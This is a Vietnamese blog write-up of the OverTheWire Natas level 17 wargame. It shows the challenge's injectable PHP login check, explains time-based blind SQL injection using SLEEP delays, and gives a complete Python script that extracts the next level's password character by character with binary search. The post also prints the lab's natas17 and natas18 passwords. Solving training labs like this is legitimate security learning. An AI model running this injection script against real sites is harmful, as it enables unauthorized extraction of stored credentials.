[Writeup] [OverTheWire] [Natas] Level 17

Standard

Lời nói đầu

Nội dung chính

Kazam_screenshot_00000

Xem source:

<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas17', '<censored>');
    mysql_select_db('natas17', $link);

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>

Tất cả các thông báo đều đã bị xoẹt xoẹt, làm sao đây emo_popo_cry

Dựa vào cái gì để phân biệt giữa True và False bây giờ emo_popo_pudency

……

………

……

emo_popo_haha

Hãy cùng để ý phần Time-based, vì nó chính là thứ chúng ta cần

Ý tưởng là, ta sẽ viết một câu query với đặc tính sau:

  • Nếu phép kiểm tra là đúng, sleep 3 giây.
  • Nếu phép kiểm tra là sai, không làm gì cả.

Khi ấy, bằng việc so sánh khoảng thời gian thực hiện việc gửi và nhận request, ta có thể biết được phép thử mình gửi lên là đúng hay sai (tất nhiên không xét trường hợp tốc độ mạng quá chậm, dẫn đến không phân biệt nổi giữa sleep 3 giây và sleep 0 giây emo_popo_look_down)

Code minh họa như sau (sẵn kết hợp cả Binary Search thần thánh, nhưng mình không khuyến khích dùng vì… mình không thích cho dùng ):

import urllib, urllib2, time
passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
passman.add_password(None, "http://natas17.natas.labs.overthewire.org/", 'natas17', '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw')
urllib2.install_opener(urllib2.build_opener(urllib2.HTTPBasicAuthHandler(passman)))

flag = ''
i = 0
while (True):
	found = False
	i += 1

	min_ord = 0x30
	max_ord = 0x7A
	while (True):
		if (min_ord == max_ord):
			print 'last compare'
			last_compare = True
			current_ord = min_ord
		else:
			last_compare = False
			current_ord = (min_ord + max_ord) / 2
		print 'current range:', chr(min_ord), chr(current_ord), chr(max_ord)

		if not last_compare:
			data = [('username', '" UNION SELECT IF(ascii(substring(password,{0},1)) > {1}, SLEEP(3), 1), "1" FROM users WHERE username="natas18'.format(i, current_ord))]
		else:
			data = [('username', '" UNION SELECT IF(ascii(substring(password,{0},1)) = {1}, SLEEP(3), 1), "1" FROM users WHERE username="natas18'.format(i, current_ord))]
		data = urllib.urlencode(data)

		start_time = time.time()
		req = urllib2.Request('http://natas17.natas.labs.overthewire.org/index.php', data)
		source = urllib2.urlopen(req).read()
		duration_time = time.time() - start_time
		print duration_time

		if (duration_time > 3.0):
			if last_compare:
				found = True
				flag += chr(current_ord)
				print flag
			min_ord = current_ord + 1
		else:
			max_ord = current_ord

		if last_compare:
			break

	if (not found):
		break

Kết quả:

xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s